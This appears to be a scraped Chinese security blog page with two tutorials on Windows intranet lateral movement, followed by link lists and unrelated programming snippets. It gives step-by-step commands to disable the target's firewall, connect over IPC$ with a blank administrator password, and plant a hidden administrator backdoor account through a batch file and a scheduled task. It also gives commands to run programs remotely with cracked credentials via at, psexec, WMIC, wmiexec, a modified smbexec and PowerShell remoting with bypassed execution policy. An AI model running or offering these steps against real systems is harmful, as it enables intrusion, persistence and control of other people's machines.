开启服务

net start Schedule

net start wmiApSrv

关闭防火墙

net stop sharedaccess

net use \\目标IP\ipc$ "" /user:"administrator"进行连接

net use \\目标IP\ipc$

试环境:主机(windows XP sp3)与windows XP sp2虚拟机)
   通过IPC$与windowsXP建立连接,在现在的绝大多数的XP操作系统中总是会出现问题。以下如何解决在建立IPC$出现的一系列问题。IPC$(Internet process connection),通常很多的机子的默认共享都是打开的!在cmd下使用net share命令是不是发现有很多$,"ipc$ admin$ ,c$ ,d$....."(很危险啊)。
现在进入正题:

1.net use \\
目标IP\ipc$



出现53错误:找不到网络路径,(目标主机打开了系统防火墙或者其他防火墙软件,解决:关闭目标防火墙)
出现1326错误:

1)net use \\目标IP\ipc$ "" /user:"administrator"进行连接,报告系统发生1326错误,登陆失败:未知用户名或密码错误。检查一下我们的命令是否错误或者用户名错误。结果发现无错。

2)在远程机的"控制面板-文件夹选项-查看-简单的文件共享",去掉选取,然后再尝试连接。简单文件共享会
把网络连接权限都归为 guest连接,是无法访问IPC$等管理共享的.结果发现这个错误,纠正。

紧接着可能出现1327错误:登陆失败:用户帐户限制。可能的原因包括不允许空密码,登陆时间限制,或强制的策略限。"在远程机的"控制面板-管理工具-本地安全策略-安全选项-用户权限"指派里,禁用"空密码用户只能进行控制台登陆".



映射对方默认共享c盘:net use z: \\目标IP\c$



在我的电脑中会出现网络驱动器



建立ipc$告一段落,删除ipc$连接:net sue \\目标IP\ipc$ /del

在此基础上在目标电脑上留下后门账号:
编写一个批处理文件,并拷贝到对方的电脑上,然后增加计划任务执行批处理文件;
批处理命令:(保存为adduser.bat)
net user nebulastest 123456 /add //增加用户nebulastest,密码123456
net localgroup administrators nebulastest /add //为用户nebulastest赋予管理员权限

然后在本机上执行命令(已经建立IPC$连接):copy adduser.bat \\目标IP\c$
接着查看目标电脑时间:net time \\目标IP
随后为目标电脑增加计划任务:at \\目标IP 执行时间 c:\adduser.bat



删除当前IPC$链接,使用新用户和新密码建立IPC$链接,以测试时候建立账号成功。
net use \\目标IP\ipc$ "123456" /user:"nebulastest"




使用telnet进行登陆:(前提:目标电脑已经开启telnet服务)

双击"telnet服务"-----选择"自动"-----点击"启动"



在命令行输入:telnet 目标IP
之后弹出远程登录对话框,选择Y,输入用户名(后门账户,密码)
输入密码不会现在但是回车后会自动验证是否密码正确



下图已经输入密码但是不会显示:



登陆后的界面:



大功告成,获得目标主机shell

在远程系统上执行程序的技术整理

三好学生 · 2015/07/24 17:41

0x00 前言

上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.

0x01 目标

远程登陆目标主机执行测试程序

0x02 测试环境

远程主机:

ip:192.168.40.137

用户名:test

口令:testtest

操作系统:win7 x64

远程登陆方式:

net use远程登陆,不使用3389

Tips:

解决工作组环境无法远程登陆执行程序的方法:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1

0x03 测试方法

1、at&schtasks

计划任务方式执行程序。

条件:

启动Task Scheduler服务

2、psexec

PsTools工具之一,在指定的一台或多台计算机上运行应用程序

条件:

需要开放ADMIN$共享

3、WMIC

功能强大,可做系统管理、远程主机信息获取

条件:

启动WMI服务,开放135端口

本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"

4、wmiexec

使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。

条件:

启动WMI服务,开放135端口

本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"

0x04 实际测试

使用用户名口令远程登陆192.168.40.137,如图1

查看目标主机共享资源,如图1-2

1、at&schtasks

at \\192.168.40.137

找不到网络路径,判断是目标主机已禁用Task Scheduler服务

如图2

2、psexec

PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe

找不到网络名,判断目标主机已禁用ADMIN$共享

如图3

3、WMIC

wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图4

4、wmiexec

cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"

WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图5

0x05 分析

整理下目前掌握的目标主机信息:

目标主机:

1、已获得登陆用户名及口令

2、可以net use连接

3、开放共享C

但是:

1、默认admin$共享关闭,无法使用psexec

2、Task scheduler关闭,无法使用at、schtasks

3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec

4、不支持3389

那么,如何在目标主机远程执行程序?

猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec,它是基于psexec,如果目标主机开放了其他默认共享,倒是可以尝试smbexec

于是搜索smbexec,终于在GitHub上面找到了一个smbexec的c++参考资料,作为工具改进模版

模版下载地址:

https://github.com/sunorr/smbexec

0x06 改进方案

模版中的bug不细讲,最终我成功用vc6实现了psexec的功能,同时也做了一些改进:

1、可指定默认共享名

为了完成上述测试,加入了参数来指定默认共享,如果ADMIN$共享关闭,那么可以尝试其他磁盘的默认共享

2、分离安装服务的功能

在实际测试过程中,如果ADMIN$共享关闭,c$共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至c:\windows下, 即可解决权限不够的问题

0x07 方案测试

1、工具说明

文件说明:

test.exe:主程序

execserver.exe:实现注册安装服务的辅助程序

参数说明:

test.exe ip user password command netshare

eg:

test.exe 192.168.40.137 test testtest whoami c$

2、使用流程

(1)上传execserver.exe至c:\windows

copy execserver.exe \\192.168.40.137\c$\windows

(2)远程执行

test.exe 192.168.40.137 test testtest whoami c$

如图6

最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。

程序源码下载链接:

smbexec_source.zip

0x08 补充

1、powershell remoting

实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接

条件:

远程连接会有痕迹

本机要开启winRM服务

命令汇总:

列出所有远程信任主机

powershell Get-Item WSMan:\localhost\Client\TrustedHosts

设置信任所有主机

powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

设置允许运行ps1文件

powershell Set-ExecutionPolicy Unrestricted

执行test.ps1文件

powershell -ExecutionPolicy Bypass -File test.ps1

ps1文件如下:

$UserName = "test"

$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)

invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

2、python smbexec

随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。

0x09 小结

这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。

at

psexec

WMIC

wmiexec

smbexec

powershell remoting

...

获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。

水平有限,欢迎补充。

内网渗透之IPC,远程执行的更多相关文章

  1. 4. 内网渗透之IPC$入侵

    IPC$连接 IPC$的概念: IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限 ...

  2. 内网渗透-横向移动($IPC&at&schtasks)

    内网渗透-横向移动 #建立ipc连接并将后门添加至计划任务 前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典 本 ...

  3. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  4. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  7. 内网渗透技巧:判断机器真实外网IP的5种方法总结

    在内网渗透中有时需要在某台WEB服务器中留下后门,该机器可以通过内网IP建立IPC连接,但还需要获知外网IP或域名才能访问Wbshell,在无网关权限的情况下,我总结了有如下方法: 1.通过nsloo ...

  8. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  9. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

随机推荐

  1. Spring中使用JMS

    JMS为了Java开发人员与消息代理(message broker)交互和收发消息提供了一套标准API.而且,由于每个message broker都支持JMS,所以我们就不需要学习额外的消息API了. ...

  2. JavaScript中自定义函数以及文本框、radio、下拉框的值的获取,结合淘宝竞拍案例来理解。。。

    淘宝竞拍案例: HTML部分代码: <form action="#" method="post"> <h2>欢迎进入淘宝竞拍</h ...

  3. ashx+jsonp+document.referrer

    -- 一年前学的JSONP 跨域,一年后的今天相关知识点基本忘光.花了一天时间重新学习,再次感谢各位前辈的帖子,特此记录如下. --html <!DOCTYPE html PUBLIC &quo ...

  4. 基于Spark GraphX计算二度关系

    关系计算问题描述 二度关系是指用户与用户通过关注者为桥梁发现到的关注者之间的关系.目前微博通过二度关系实现了潜在用户的推荐.用户的一度关系包含了关注.好友两种类型,二度关系则得到关注的关注.关注的好友 ...

  5. <meta name="viewport"content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">的作用

    本人对该标签理解不深,这里是复制了穆乙的文章:如果有人进来看到这篇文章,请按此https://www.cnblogs.com/pigtail/archive/2013/03/15/2961631.ht ...

  6. JSTL总结摘要

    一 概述 1.什么是JSTL? JSP Standard Taglib,一个定义了一系列标签的标签库,以取代在JSP页面中嵌套的java代码,经常与EL结合使用,使页面风格统一,维护方便. JSTL标 ...

  7. curl 模拟发起百度地图API post请求

    注:开始做的是get请求,比较简单,然后又查询了一番就做成了post请求,有几个地方特别说明一下: 一,$address,是必须传的,$city可不传: 二,ak跟之前的key一直,需要申请,我的好像 ...

  8. 如何正确地在SOE中输出日志信息

    ArcGIS for Server提供完善的日志管理机制,用于日志的记录.查询和自动清除.开发人员在开发编写SOE代码时,应该采用该机制进行日志记录的输出.如果不采用该机制,输出的日志消息会写到Arc ...

  9. LeetCode赛题515----Find Largest Element in Each Row

    问题描述 You need to find the largest element in each row of a Binary Tree. Example: Input: 1 / \ 2 3 / ...

  10. How to block a specific IP Address using UFW

    How to block a specific IP Address using UFW The key to blocking a specific IP address with UFW is t ...